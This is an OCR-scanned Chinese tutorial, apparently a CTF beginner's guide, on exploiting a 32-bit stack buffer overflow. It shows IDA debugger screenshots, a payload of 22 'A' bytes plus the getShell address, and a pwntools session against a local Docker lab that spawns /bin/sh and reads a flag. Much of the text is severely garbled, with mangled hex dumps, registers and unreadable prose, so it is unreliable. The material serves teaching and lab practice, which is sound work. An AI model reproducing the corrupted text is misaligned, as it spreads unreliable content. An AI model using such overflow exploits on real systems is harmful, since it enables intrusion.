SRIGIRF7i# Nhe | loER # .
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图章


QEMIE | STAETIEETER

~ | EAX FTEEGDBE w debugoni:_envir oF |
; CODE XREF: maine11gp Enx snasnens ::‘.
"Lext:@EBABNE Duf- dward prr -12n ECXFFABAZRN & [Stack |:FFABAZE0 m
_Lext:@RBAANER var [ dword pEr -OEh EDX FFRABAZAN & [Stack |:FFAONZAN 25"
ey ESI poooeRm . 25|
: ibc_2.24.50:F7EES 000 l
_text : BHORGRSN Esn A .
esp, 180 W [Stack]:FFADNZSE CF |
!lg;‘N"]- 0 EIF b8  hellos1
[ebpsvar_E], B EFL o001
[ebpsvar_A], B
esp, & b bl
[Lext:BaBABAAY push  &an ; nbytes push ebplebpEEN e
Jtext:OHOAERAT lea
Jtext :@HORERAG push i buf
text :BHORARAT push i Fd
text:BEDRENAD call
.Lext:ORBRERAE add
.text:@RBAENET Sub
.LexL:ERBRBNDY lea u:. [ebpebur]
.text :@BOKARET push
_bext:ERBAINER push SePnet Forvat i “Mella, Tsin"
hello+l h ized with EIP) vl
€« View-1 O @ x [G Stack

WE B3 EC BN 60 64 BD 45 EE Slﬂutl?szfFFF
WAE 83 Ch 10 B3 EC W5 EE 50 5 8% 88
WBE 6E FE FF FF B3 09 (=

FABAZSE r
FFABA26E  FTEESIDC

libe_2.2h.50:__ctype_b+8

iCE F@ FF 71 FC 55 FrABh26h FFABMZEE [stack]:FFADAZE0
BE FFABMZGE

WEE FFABKDGC F7DAT276 libc_2.2h.so:_libe_start_saineFd
WE FEABRZTE  0O0D0BNY

E FEABNZTN  FTEESO00 libc 2.26.50:FFEESOOR

HIE FEABRZIE  00DDODDD

i2E FEABAZIC F7DAT276 1ibc_2.7h.s0:__libe_start_mainsFé
HIE FFABAZER

HE FPABAZEN FFABMITN  [SEack]:FFADAITY

iSE FrABAZER FFABMINC [stack]sFFADA3IC

H8E FrABAIAC  000D0DOD
FEABAZON  0D0DDDOD

FFABL2N

FFABLZOR FTEESOMD libc 2.26
FEABAIOC FTFAOCOM Lo 2.24.5
FFABAZAD FZF19000 10_2.7h.5
FEABAZAN  0DODORDR

FIABAZAE  0D0000ET

FrABAZAC FZEESOBD 1ibc_2.2h.50:F7EESBOR
SRR FrABKZIA 00000000

1 Frashoih  ASBYRTTD

UNENOWM FFA04258: [stack]:FFAl (Synchronized wi

r +:
TF19000

28952355 ::2508882%¥83¢E5

L)
"

oo
Ll

on
aF
FD
an

e, PiT5Ecall hel loX—ITIESR/AE TN THE ., HLLHNATUS Heal I1TESRATUKEEIP “IHER

EE TR — &35S MiTRE, Bcal 11544 cal | R—&I5SHlER . HRATTLEEM Hcal | hel 0%
" Fpush eip; mov eip, [hellol. FRLAFKAIMISE—NEIRE “HEMiFRIEIPRTARRE" MEZHME: Hin
FHUEIPRcal IIESH T —&IES M. FITUHLEF8 B EHIT,

~|/EAX FIEESOBE v devugont:_environ or

i CODE BREF: mains11gp DX 00800000 ., o
ECX FFABAZB0 & [Stac :,:

EDXFFABAZAN & [stack]:FFABAZaN H

Esi 001 2

EDLF7EESE0N & 1ibc_?.24.50:F7EES000 ar

EBP FEABAZSE fo [STack]:fFABIZSE PF
HLeNLINMAINEE mov ESP FFABNZSR |y [stack]:FFaBazse cF

IP BBBABNE7 1 NEllu+d
0286

“ﬁ%@i T e, oa

8
[ebp+buf ]

-text:OBBASAE7 push  ea:

Stext ;0BOASUEE push wffset format i “Helle, Tsve™

000004591 08048451: hello+D (Synchronized with EIF) v
O & x [ stack view os

W5 EE S0 6A 00 E8 72 FE FF FF -~

s | maine s
= | Libe_2.2h.50:__ctype_bsd
™ [stack]:FFABNZRE
FE
1 1ibe 2.74.50:__1ibc_start_maineFé
¥
FE Libe_2.24.50:F7EES D00
-
FF Libe 7.7k sa:_1ibe_start_maineFé
¢
i [stack] :FFABAITE

00 00 [Stack]sFFAREITE

73 66 B0 AR 65 6C
18 @3 38 A0 00 00
B0 @0 B8 OC FD FE_F

: ./binssh.Hello,
3s i@,

~ | [EAXF7EE6DBE & debugiii:_environ
3 CODE EREF: maine11yp YT —

. ~ ECXFFABN2BR s [stack]:FFABAZE0
ittt ;:‘::..:‘:h,‘f::. EOX FFABNZAN w [Stack]:FFABAZAN
Ltext:BEONEAES var_i= word ptr -BAh ESI seeeneet .

- textza80A8NEH EDI FTEESO08 v libc_2.24.50:FFEES000
SN T i EBP FFABAZSE v [stack]FFABAZSH
el ol ::"' - ESPFFABNZRD & [stack]:FFADAZRD
_ EIESOWNRN & RaL1y:e
[ebpruar_E] EFL 00008282
[ebpruar_a],

esp, &
.

pt
eax, [ebpebuf]
23

0
_read

Coarr il

£ b esp,
<exi:B804BABY lea = (n.-wr]
-text:O8048RE7 push

-text:08048RES push i e : "Hells, sin”




QEM|E i STNRTISETEA

A &h BD N5 EE 50 &h 00 E8 72 FE FF FF
83 EC 08 BD A5 EE 50 68 78 85 04 0B ER 00080008
FF 83 C4 10 90 C9 C3 8D AC 24 04 B3 EA [FFABAZAE  F7DSDBBA 1ibc_2.274.s50:0n_exit+s@
FC 55 89 ES 51 B3 EC Ok ER A& FF FF FF O — __libc_csu_fnitess
83 Ch B4 59 50 8D &1 FC C3 66 90 EE&& . FAMZ50 00000001
57 56 53 E8 A7 FE FF FF 81 C3 07 18 00 o FFAB425%  FFABAIE [stack]:FFABNIL
OC B8 6C 24 20 D B3 OC FF FF FF E8 DB FEFRAIED FFADMZSE FFADA268  [stack]:FFABA268
#D 83 08 FF FFFF 29 C6 C1 FE 02 #5 Fé HEhRiETP UBOREADE  main+1d
FF 80 B& 00 60 0D B0 83 EC 04 FF 7 2 s =
28 2C 55 FF 9% BB 08 FF FF FF 83 C7 ™1 FEADAZ6N  FRADN, [stack]:FF
99 FE 75 E3 83 Ch OC 58 SE 5F 5D C3 80 FFADAZOR  NODBOODD
0B F3 C3 00 00 53 B3 EC OB ES A3 FE FF FF 81 FFABMZ6C  F7DNT276  1ibc_2.24.s0:_ libc_start_maim
A3 1A BO @ B3 Ch B8 5B C3 83 08 00 00 01 86 FEABA270 _00RBBONT
a @ o 1 Cereral registers o8
esp, 180 ~ | EAx seememny 0F |
[ebpebuf], B EBX 00000000 oF |
ECXFFABAZAS & [stack]:FFABAZAS Lz
EDI a00ROSH < b
: nbytes [STRTTTTTTINN 26
EDIFTEESOOD & 1ibc 7. AF |
i buf EBP FFABAZSE o [=tack] FF |
e ESPEFABAZA0 & [Stack]:FFABAZI0 CF
| I A 00000000000 | FIP SesMsE o helloeza
o5 EFL 000102083
i “Hello, ¥s\n”
Ltext
EeXE:BBMGACE ; «csssscseseenss SUBROUTIHE
000004AE 0B04E4AE: hello+ZA (Synchronized with EIP) v
5] Hox View-1 o & x| [T stack vier o8 x
BBAEITE 50 6 B0 FFFF ‘
B BASUAE EE 50 68 LU R
B BAEABE C# ca &0 [Frasagas
B BAGNCE 83 EC FEABNZIC
ALEFAD42 AR TIII4IEI6I738, RIASCIINY FEABAZAL 32310000
|23456?8“§$§ BN G Frashang  3605INIT
= | |Frasnzsc  DOBRIEIT

TS T T
FraBNash FRAONIIN [stack]:
FrABLISE FFADA24E [stack]:
FIABSISC  S0SERIE  maine18

FraBh2e0 FTEESIDC 1ibc 2 2h.so:_ctype_bed
Fraphzah FFAON2ED [stack]:FraBsZen

FraBz4s  00DD0RAR

FIABNZAC FTON276  Libe_7.2%.50:_Libe_start_nainsFo
FrABNg70 00000081

[Fraonzrn FTEESOOM libc 7.7h.so:FFEES0O0

Frash27e  ooDOOmER

FEABR2ZE F7ONI276  Libe ?.2h.s50:_Libe_start_nainsFd
FrABKIAD  00000DE1

FrABAIEL FRABKITNR  [Stack]:FraBhIth

FrABIES FFABKIC [stack]:FFABAITE

WOUREDE  FF FF z e FEABZAC  0ODDOD
100004DE 0BO484DE: main+16 w |[UnEoWN FFAD4230: [stack] :FFAl (Synchronized with Esis

, BEAORMIT=58<, EF %hellomﬁ%ﬁT?ﬁE’\J’fﬂ%mﬁ EIRRESRE LML, BIAIT Teall
he | | 02 2§ Hma i niR 2 UL MNAY A IREBPAR T EIHK R . R THITEread B, RIEHEEMA—LLBAIR
,L»EE’JP\]%, tI:!ln12345678 MM LI 7?11%§€A3ﬁﬁﬁ5§§sbufﬁdif X T RER AR

lm Viev-EIF Pgeudocode-A & General registars os

ABNI 1N
ABLIER

SEmEIzzzaEzREmEEEERY
AEBE2P2ECZERISTECRTEE

ssfsesss:==24R78:

ffscEas’t
g3sszeses

| _read A ERK 00000811 oF
| el EBX 00000000 . L
| P 1
ECK TFFFFFEF w
| F
' :"' ""'" ! EDX FTEEGRTE o debugBit:_ abort_magssCs ::
E cFFnc Format 3 "Hella, ¥s\n® ES1 00000001 o 25
K _prin [EDI FTEESO# & 1ibc_7.24.50:F7EES AR AF
| 5P, 1“ [EBP FFADAZSE & [STACK | :FFABMZSH PF
| ESPFFADNZNG . [Stack |:FrABR2AD oF
4 EIP BBRONENCH & Nellovd2
EFL 00000282

««SUBROUTIHES=

ARRAC

BABNCE ; ALtributes: bp-based frane ]
ACH

int __cdecl main{int arge, comst char ssargu, const char ssenup)

OABACH main proc near : BATA XREF: _starteitfo

SAeKL IOROARACE arge= duord ptr o OCh
SAeKL IOROARACE argus duord ptr 10

main ized with EIF) v




QEM|E i BTARTIETER

Hox View-1

WHAUL B3 EC Oh &0 6k WD NG EE
#3 CA 10 B3 EC OB RD A5
E FE FF FF B8O Ch 10 90

D e mﬂ#ﬁﬁ T
SinnmsaloPa oy mﬁ;ﬁﬁﬂ m%w

[ IYTPIPRPN & o

FO FF 71 FC 55 51 colallealeiinians
™ PRI e 1

WHBEE FrABAI1N
BENFE FrABNzon
R e

BHAE b
WS 2E Frapuzan

50 FrABuzan
WRYBE Framzac Libe_2.74.50:__1ibe_start_mainsFé
WRSSE Framz7e
WRSHE Fraph2Te  FTEES Libe_2.2h.50:F 7EES RO
WS TE FFABNZTE  DOOBOROR
WRSHE FFAMZTC FI0A7276 1ibc_?.20.50:_ Libc_start_maineFé
WRSYE Framzan 1
BRSAE 0 Pl FrABLZ: [stack]:FFABRI1L
WRSBE o T LA Fram [stack] :FFABNITC
WRCEE [ e | | FFABMZEE
WESDE o Sy CasaPs Frapuzon
SBSEE L) sesesFaidoton.? FFAM29Y
BRSFE o 28T LT FFaB298 Libc_2.2h.s0:F7EESBOR
B OE (7] sssannnssasasels FERBMZIC 1d_2.2h.50:_p_
WNAARE NENARARE: malasls o rRITR AL PPANATAN . fatask]: PP (Goncheand sad wich Par

BATEEZAME] THRMMFRESHFERER, FTRBNBIBTIERGELEE SIHRIAITES . 454F8Z]leave
—17, WEHRNES LM mEXEZ] 7RI IT5Esub esp, 18hATIRES.
HIT5E leave—1TIE S AR EEEL, B EEI Tcall hel loHITRTAVIRES. Blleavefs S % Fadd

esp, xxh; mov esp, ebp; pop ebp

lll

Debug Viev a @ Structures o m Ernms %)
-] IDA View-EIP o @ Faoudocode=A (x] W General registers o e
B i 1 _read (]
i L]
: esp, # n
. exx. [e0penur) debughe:_abort_mey+ich y
o offset Format 3 "Hello, ¥s\n" ril
. _printf ol
1 esp, 1 Pl
$ ]
|G i
EFL 00000282
e YD T ettt i
uBaCE
BABNCS ; Attributes: bp-based frame
BABACH
DABNCE ; dnt _ cdecl main{int argc, comst char ssargu, const char ssenup)
public main
main proc near : DATA XREF: _starts17to
arge= dword ptr  OCh
BABACE argu= dword ptr 1M
: main i i vl
I@u. View-1 O & x| @ stack viev o s
BHBuENGE B3 EC OA 6 6A o A | Frasazan  EEEELIIT
B8 puENAE B3 €4 10 83 EEC ] FFAOKZLE  DB35IA3:

3
FPAOAZAC  DODAIAIT
FRABAISD  DORGERRY
FEAORZSH  FFABMITA  [stack):FFADNI1L
[

B FFABKZSE  FFABAZS! ack ) :FFABAZ68
L
[ﬁ Feoall hello

@8 BUBABE 6E FE FF FF 82
FO FF 71 FC 55

57
o
a0 83 FF FF
FF 80 o0 o
2n 2C FF 9%

FPROAZ6R FTEESIDC libe 2,74.50:_ctype_bed
FFABAZ6W  FFABAZAD [stack]:FFABAZAR

FFAOAZOS 00000000

FFAOM2AC FTONT2T& 1ibc 2.2 so0:_Libc_start_nainsFé
FFAR2TR
FFROAZTH
Franz7e
FFROA2IC
FERAZER
FPABAIEN  FFABKITN  (stack]:FFAOKITY
FPABAZER  FFABAIIC [stack]:FFABATIC
FFADAZIC 00000000

FFABAZ9D  DOOA
FEAOAZYH  0OB
| Fraoszes FEE 1ibc 2.24.50:F7EES000
TrAGAZIC FIFI9GBM 10 _7.74.50:_r_debugraen
FFABAZAR F7F19800 1d_2?.24.so:F7F19000

SREIERIaaRERN

08 pumS5E
13
TE
BE
o8 g5 0
88 BUBSAE
B8 BuBSEE
o8 pussCE
88 B S OE
08 E

1ibe_2.2%.50:FTEES00N

libe_#.74.50:__libe_start_mainsFo

28rc8833c-=78&R35232

 ||EAK 0000011
EBX ABARRRER
ECK TFFFFFER
EDXFTEEGRTE & debugdnt:_abort_msgesCH
£51 0EA0RRET .
€01 FTEESONN % 1ibc_2.2h.50:FTEESBON
EBPFFABA208 & [stack]:FFABNZG8

% [stack]
EIP BEBAEADE & madns 16
EFL ARARRZAZ

ELEE

05BAF

BRBAFR ; void _libe_csu_imit{void)

OMBAFD public _ libc_csu_init

BABAFE _ 1ibe_csu_init proc mear : DATA XREF: _starts1ofo

u
WARAFD arg_h= dword ptr &

main+23 ized with EIP) 2




QEME

| EFRATHIEETEH

O & x [ Stack view -]

& Hex Viev-1

] B3 EC 08 6N 68 B0 45 EE € 72 FE FF FF
B3 CA 10 83 EC 08 6D 45 78 85 0% 08 E8
6E FE FF FF 83 Ch 18 90 AC 2h Ok §3 Eh
FB FF 71 FC 55 89 £S5 51 E8 Ab FF FF FF
ININTNINT &3 ch oy 61 FC C3 66 98
b 90 55 57 56 53 E8 A7 81 C3 07 18 08
00 82 EC OC 80 6C 24 20 FF FF FF E8 08
FD FF FF 8D 83 @8 FF FF C1 FE B2 85 Fé
Th 25 31 FF 80 B6 00 00 EC 0% FF 7h 28
2C FF 7h 2 2C S5 FF 94 FF FF 83 €7 o1
&3 Cx 18 39 FE 7% £3 83 SE SF Sb €3 60
76 44 F3 C3 W0 09 53 83 A3 FE FF FF 81
£3 A3 1A 09 B 83 C4 08 00 09 @8 01 B0
& &8 OF &7 k0 AF 35 T3 AT AP AP A 90

HRF8, AIMEIPIEE Tcall hel oA T—1
Tpop eip

@ 1 Vior-erp

LEext:OBONBNEY buf= dword ptr -12n
LEext: 08088884 var_F= duord ptr - 6En
.text:0BOABNEL var A= word ptr -Bih

.

= [ebpsbui], @

© L Eext:OROARNTY mou [ebpwar_E], B

* |- text:080AEMEE mov [ebpsuar n], o
Eext: 09 0AENA T . i mbytes
Stext:BROAELAT lea wax, [ebpsbuf]
~text:O80ABMAS push  eax i buf
LLext: DB ORBAAT o i fd

© Ltext:oEOABREY sub  esp, &
©Ltext:OBOAEREY lea wax, [ebpriuf]
©Ltext:OROARNET eax
© .text:DBOMBNES push  oFFset Format : “Hello, %sin"
© .text:OORBRED call _primtf
© L text:OBOABNCZ add esp, 10k
U Ltext:OS80MBMCT retn
.text:08OMBACT hello endp
: hello+2D ized with EIP)
& Hox View-1
WDNRRNL 08 8O 10 85 DZ 75 05 ER 93 4D 76 00 BA 00 09 00
BEDNENSH 00 85 D2 7h F2 55 89 ES B3 EC 1% 50 FF D2 83 Ch .
18 €9 E9 75 FF FF FF 55
&8 70 85 OA BB E8 C2 FE
B 89 E5 B3 EC 18 £7 A5
B 08 B0 00 66 C7 A5 Fé
b5 EE &7 88 E8 72 FE
8D 5 EE 50 68 78 85 84
10 98 CF C3 6D AC 24 B4
1Y EC 84 EB Aé FF
50 8D &1 FC €3
FF FF 81 C3 87
B3 oC FF FF FF
29 C6 €1 FE &2
00 83 EC 0N FF
08 FF FF FF 83
oc S8 SE SF S0
08 E8 43 FE FF
C3 83 00 00 00
SHDAESTH  ZF 73 68 00 M 45 6C 4C

00000484 080484841 hello

e I e

e dTIE R BAHEHpashif

o Riggl

RRDHT RS A
e

i

:m Ly i)
e

.I FFEBIF2C

EEamzan |
(Framizse  FRABRZGR
|FFABAZEC  OSOABNDE  maine

FEABLZAN FFADN28O [stack]:Frasazsi

LR
FFaBLZAC  FTDAT2T6  libc_?.7h.so:_ Nibe _start_maineFé

FFABAZTA  FTEESB00 1ibc_2.24.50:F7EESDOD
FEABAZTE  0ODDDDDE
FEABAZTC F7DATZTE 1libc_2.2h.so:_libe_start_mainsFs
Frapuzen

oeaoaont
FPaBuzes FFAONITN  [stack]:FFABAI1L
ferarul

THES, FIRHE D RIEA0E PEWHEY, B4 BretnZ

O & x |igGeneral registars o& x
~|[EAXFFEBSF16 o [stack]:FFERIF16 o e
EBX BDDOONNN =i
ECKFFEBIFS & [stack] :FFERIFSE -
EDXFFEBIFIN & [stack]:FFEBIFIN 51
EST a0000081 « ZF e
EDIF7FO7088 & libc_2.24.50:F7F97000 e
EBPFFERIF2E o [stack] FFERIFIE PF1
ESPFFERIFO8 n [stack]:FFERIFOR e
EIP BOABMAS w hellos25
EFL pob00296
v
O & x @ stack view o# x
~|FFERIEFS F7DEDETE libc_2.24.50:F IDEDETR ~
FFERIEFC ¥ debugBE? :F TFABESE

FFEBIF16  [stack]:FFEBIF16

FFEBIF1D
FFEBIF 14
FFEEIF18
FFEBIFIC
FFEBIFZO

FFEBIF 24 [stack]) :FFEBIFES

nains
TIS 720507 T
FFEBIFIN  FFEBIFSD  [STack]:FFEBIFS

FFEBIFIR

FFEBIFIC libe 2. 24.50:__libe_start_maineFé
FFEBIFAD

UNENOWN FFEBIF18: [stack]:FF (Synchronized with Ew

b4

IteBThe | ol BRADHATTEEE, EHIRIZIREZ] T EMhe | 0B HiHmainR K F .

| 0x01 Bt

#8id E—TR0EIK, RAOTAEIRR T REERMVBUFAHESTE. BRNAIFEERNMBALS, BARNA
REHKLREFHEI P SRIE, AN AR LUBS N Stk EREIPHIE, MM7EretnE ST
JefE “pwn” 1EIZFMR? FAVRCLr +2EREFELETHIFR, BIX—K. ATHYE, XEBNEZLEH S

TfEhel loF#EHcal | _read—1T.
BohEi, BFFHREEEOT




QEMIE

wsp
+ [ebpebur]

offset Format + “Hello, Rshn”
= _printf
© L textiOBORBACE add esp, 100
© L bext:BOABACE nop
© L tewt:OBOARARCE leave
T L UeRLIOBOABNCY retn
SLeRt:OBOABACT hello endp

hello+2A (8y ized with EIF) |
Hox Viev=1 0 ® x [0 5tack viev D@

T8 65 B2 75 05 0 93 B0 74 00 BA AR 08 00 ~ FFESIFR im0

0 05 D2 Th F2 55 B9 ES B3 EC 1N S8 FF D2 B3 CN FRERIF llllll\. [stack]:FFERS
BCOED 7S FF FF FF S5 B9 £S5 83 IC 08 83 IC o FrERaF

DAENIN 6B TO S ON OB EB G2 FC FF FF BD Ch 10 90 CY G Frimaroc llllllll

onenen [0 60 £S5 6D KC 18 C7 MG EE 00 00 90 00 C7 W P2

DARNGA 00 B0 00 80 44 C7 AS FA 00 00 B3 IC 0N &0 6k WD .. [N FREBIF 14 1N 0008

DBRAN WS EE S0 60 00 E8 72 FE FF FF B3 Ch 10 B3 EC o8
DABAOA  BD NS EE SO 48 7H A5 Oh B8 €8 40 FE FF FF B3 CN
DRENCH 10 90 GY GI ND NG 2N BN BD EN FOFF 71 FGC S5 89
DAENDN  ES 51 B3 EC 0% ER A6 FF FF FF B8 00 00 00 00 83
DAENEN  CN BN 59 5D WD &1 FC C3 66 08 66 90 55 S7 56 53
BaBAFA ER AT FE FF FF 81 C3 07 10 09 00 63 EC OC &9 6C ..
DaAS0A 2 20 8D B3 OC FF FF FF E8 DB FD FF FF 8D B3 08
IaBSIN FF FF FF 29 €6 C1 FE 82 85 Fé 74 25 31 FF 80 B

DRESZA 00 00 00 00 B3 EC O4 FF 7R 20 2C FF Th 2 2C 55 FFEBF28  DODDODOD

BABSIN FF 9 BD ©8 FF FF FF 83 €7 @ 83 Ch 10 39 FE 7 FFEBIFAC F70F9276 libe 2.24.s0:_libe_start_mainsFs
DaBSRA ED3 B3 CA OC 5B SE SF S0 C3 80 76 90 F3 C3 00 00 FFERIFAD  DOS0DOOR1

BAGCEA C4 G0 CP 85 FG MG FE EF OF G4 £0 A5 45 &8 88 00 € Eremarss £IreTAAs 1ike 3 3k ca.CIC0TOOR

B cad BHESHAETHIRE ’JEIPngth AT EHAERRBZ06NFT, thplZiRiaA
Ox16=22 N FHH IR, HOWMARSIALPIEIP “FE” |, MA2+4=2260FT5, HAWMARSES
HEIP, ABAHA1MEpay loadfy ‘A" *22+ ‘B’ *4, E[JAAAAAAAAAAAAAAAAAAAAAABBBB, IRIBIAIAVHEM, 7
EIPEERRIEMretnig S FR7EMIIRY, HIARIZ2 ‘BBBB’ . Blretni{T5EZ/E, EIPEREMRTBEEHIE
#_EEE’J080484DE ﬁ'ﬁ;E42424242 (BBBBHJASCI I1&) , 1%F8{FIDAtEHE, ?"dqckerH N H I \pay | oad

General registers oe& x

FRERIFIE MMM
FrEBIFZO  WINININY
FFEBIFZH  WINTMINY

g% ikt (243 M080484DE FEBIFZE  MINININ

be_2.7h.50:__cheek_rhosts_Fllesq

HIBGFGN FFEBIFSH ['\vlll’.kl FFEBIFSO

m: = dward pti ~| Enx sonaoeze oF R

| 3 buf= ptr -12h oF B

“text:DOOAGNSN uar - dword pre 00N :: :::r: 1 1K1

Jtext:BROAELEN var A= word ptr - Bh [ s

| text:BRAAREY EDRFTFYBRTO 4 0eDUQODT:__IDOFT_RSGeers SF1

© .text:BEOARNEN push  ebp EST 0000B00Y - ZF R

© L text:S0ARNES mow ebp, esp EDI F7FOT008 o libc_2 7h_so:FIF97E0n AF o

©Ltext:BROARMET sub esp, 160 EBP ATRININT o PFR

O Ltext:BSOARLSA mow ebuf], 0 .

5 Eraric sanining s {mww]l]. . ESPFFERIFAN v [stack]:FFEEIFIR L

L text:BRONENTE mow [ebpevar_a], 0 EIP AZWIAZNZ o

©Ltext:BSOABASE sub esp, & EFL dO000282

© text:BROABNAT push G 3 nbytes

O -text:0S0A4AT lea rax, [ebpsbuf]

©text:@R0ARMAE push ean i buf

-' text:BROARLAT EFI L 3 fd

O text:BROARNAE add esp, 180
] esp, B

© Ltext:i0auEN lea eax, [ebprbuf]
© .text:DROAGNET push  eax
© .text:iMOABNES push  offset Format i "Hells, Rs\n”

O L text:BSOMGABD call _printF
©text:BONIAC2 add Fip, 10
L text:IRDARACS nop
©text:DSOAGNCS leave W Waming ® I
* |.text:@MOMSACT retn

-text:OROMAACT hello endp

g 42424242: got SIGSEGV signal (Segmentation violation) (exc.code b, tid 26)
000004CT 0B0484CT7: hello#4d (Synchronized with &b

5 Box View-1 [Il |Stack view oe& x
Ga0wihii @8 B0 10 85 D2 75 05 €8 93 D 76 00 BA 00 00 ~

[ i
B90uEhSH DO 85 D2 7h F2 55 B9 E5 83 EC 14 50 FF D2 83 : o - e [BIF2% FFERIFSA [stack):FFERIFSD
GioaBnas 18 C9 E9 75 FF £7 FF 55 69 E5 83 £G o8 83 ko L) DOt display this message again tfor this session only) [B3r35  DesRDo0n

Banush7e 48 70 85 Oh 08 €8 C2 FE FF FF 83 CA 10 90 £9 Compy ~<BIFIC FIOF9276 1ibe_? 24 <o:_1ibe_start_salasfs
meouangs [E B9 £5 83 EC 18 CT A5 EE 00 00 99 00 C7 &5 F2 .. [Frinaras  onaenons
[BHOAERTS 00 00 B0 00 &6 C7 &5 F& 00 00 83 EC 0& &4 64 8D ... FFERIFSS  FTFOT008 1libc 2. 24.50:F 7FO7000

*&EPE’JEIP%%&,m?ﬂl]E’Ji‘E/Aﬂ?&ﬂ"ESIEJ?.42424242To ER, Z2—NMEENAF L, ERENAEFTIT
RIS EARIREHRBILER, FFUAKNEITEretnEIRFRSIRE.

SLEAL:WOUSOWUD ; MLLT AUULED ; UP-UaBeu T ame

Ltext:0BOABNGE
Ltext: 08048460 public getShell
.text:08048458 getShell proc nedr
"l text: 08 D4BAGE push ebp
" l.text:D8BASNGLC nov ebp, esp
" olLtext:0BBNBNGE sub esp, 8
"ol text: 0B ON8AT1 sub esp, OCh
"ol text: 0B BuBLTE push offset command ; “/bin/sh"
U text: 08048479 call  _system
" .text:DBOABNTE add esp, 10h
"ol text: 08048481 nop
Yl text 08048482 leave
" . text: 08048483 retn
.text:P8048483 getShell endp
-text: 08048483

IEIEOK, HReEFeI R RMBR RS, X MHIBREBIESERAER, BilER. kBT
FARSHbugliE T —MIRBMANERIET E.

| 0x02 % &pwntoolstTE— 4B RBHITRiRexp

15

| BTRATIETER



QEME

B E—THAE, RINELTUMEIREE— M EFHER. TENEXPER. WRENEZESIRZRER
HRERGREAMNMERR, BNMTLULRLERPRY, AMEFEHAREMREL. SR, HME
PROZFHE TR, MRAIUBET AXNREANFAE, FIE—EFRMRCE CEERBHIT) , A
Fieih, ETREHF? SR, CTFRMEXERSowndl i EHFEZEE R FBLIIR— PG O SHYLE
&, BEMROLSTHEFHITIZERE, ERIZEZINRRERFPITNZNITINRG, NMREEIf ag,

Xt R HAF IHE AR
ATHRERE, BEFShel o XMNMPMEFHIFHEEE
YR 2 .
{
return system("/bin/sh™);

}

nE, XNMEHE—NERREIHEsystem("/bin/sh") 3TFF— bash shell, NTAILUNITshel IS EZE
%ﬁ%ﬁﬁxﬁ

EENEFREHFASFRAXMNRE, FUEMNESFA L—THLXIMNRREHFEFIITRIE, AT
getShel | E{# .

Ei?a%kﬂ]?Ehe||oﬂﬁ|0$§gz§u1ooo1lﬁ[3_t
:~# docker exec -it ubuntu.17.04.i386 /bin/bash

root@0d5dc6d7clba: /# ifconfig
etho: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.2 netmask 255.255.0.0 broadcast 0.0.0.0
ether 02:42:ac:11:00:02 txqueuelen @ (Ethernet)
RX packets 522 bytes 35307 (35.3 KB)
RX errors @ dropped @ overruns @ frame ©
TX packets 421 bytes 196849 (190.8 KB)
TX errors © dropped © overruns © carrier @ collisions ©

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets © bytes 0 (0.0 B)
RX errors © dropped © overruns @ frame ©
TX packets © bytes @ (0.0 B)
TX errors @ dropped © overruns @ carrier ® collisions ©

SRIEFH AT M docker FFEHIRENE iptthtit (FAIR172.17.0.2, FRIFETRAIGEARRED

NG 1Ekal i P2 Bpython, S ApwntoolsFEFH BITH—5SdockerE f1E10001i% 0 (Blhel 10FEF
:~# python

Python 2.7.14 (default, Sep 17 2017, 18:50:44)

[GCC 7.2.0] on linux2

Type "help", "copyright", "credits" or "license" for more information.

>>> from pwn import *

) HYESR

io = remote('172.17.0.2', 10001)

Opening connection to 172.17.0.2 on port 10001

Opening connection to 172.17.0.2 on port 10001: Trying 172.17.0.2
Opening connection to 172.17.0.2 on port 10001: Done

LERHIRATAT UG E— R XX E—HHTIF IDAETHIMNIER, AXERUTEIRRT . NE—THSHIEK



QEME

{i1#NiEpay | cad LA AL L iZ 222 MEBF A+l . (BRIHATEE ATE16HEHI B3RV I 3 a4 F
THFEFER? HATATLUEMAstructsfE, Hfhpwntool stz T —NEHERIEHp32() (Blpack32{iLith
ft, FEHFHIIEBunpack32f it Au32 O AR AR EHIp16 0, p6d 0 FE) , FFLAF(1#pay loadFh 2
22%' A" +p32 (0x0804846B) .

from pwn import *

io = remote('172.17.0.2"', 10001)

Opening connection to 172.17.0.2 on port 10001

Opening connection to 172.17.06.2 on port 10001: Trying 172.17.0.2

Opening connection to 172.17.0.2 on port 10001: Done

payload = 'A'*22+p32(0x0804846B)

s T L EVAGED )

BT EEURAN R Rread, FATEMANTNEZUREEARLERRT (printf, gete, getsFNMEE), Al
EF{XHSio. send (pay | oad) EIF2F % i¥pay | oad

>>> jo.send(payload)
>>> io.interactive()
[*] Switching to interactive mode

HTFRAEXBESEEE IDAMIMIER, EAEFUASHEET S PE, BAXNEHERe ! o[BI EIHLATAVEN
Z ENZ I ¥ pay | oadEh$E, B4t ZE|getShel IERE LT . AT SH#pwnigfihel 10itt1TRxE, FHAER
io. interactive ()
>>> jo.send(payload)

>>> io0.interactive()
[*] Switching to interactive mode




QEME

AIABRIRIEEItownts TIXMERF, BUS T HFEMEAIEEI. ATHEM—RS5R, FAIE/home

THEBT—Mlagd . LLRIIKE—TflagEE

etc

home

lib

media

mnt

opt

proc

root

run

sbin

Srv

sys

tmp

usr

var

cd home

1s -al

total 12

drwxr-xr-x 1 root root 4096 Jan 22 09:11 .
drwxr-xr-x 1 root root 4096 Dec 27 ©8:24 ..
fl-rw-r--r-- 1 root root 18 Jan 22 09:11 flag
cat flag

flag{YOu Go7 1T!}

WE, FNRDMME T E— D owndl. A7 IR H VIR, FiE T JLNESSRICTFRERIEL, F

EAERRHE EEFKEshel | L.

MifF (RSHIETAIIER = EHEIRNY T )



https://bbs.ichunqiu.com/thread-42241-1-1.html

DEMIE
Linux pwn A¥iE@2)——shelicodefl){$H, RIS

f£%: Tangerine@SAINTSEC

I 0x00 shellcodeBifEmH

EL—BXEFRNFEI T EAEARREHFEFNRITRIE. ATHROEE, FERFMELEZF BT
BRBEMNEI]. AMAENLHFTEHLIZENEFBER], BERSE, wEENLTHK. Hik, #Hiw
EE(FEHEFAIshel lcodeSRMITH D EERRIE.

BEBRIIIERIEFE/Openctf 2016-tyro_shellcodel/tyro_shel lcodel EHIRI32/iL i docker IMERHTFF
BPRBHITARSH. FEIENE, BTEFT T MREEMRIAR, ERRZREPITESEENTE
:

nWarning X

g F7F49DC9: got SIGALRM signal (Alarm clock) (exc.code e, tid 435)

[[] Don't display this message again (for this session only)

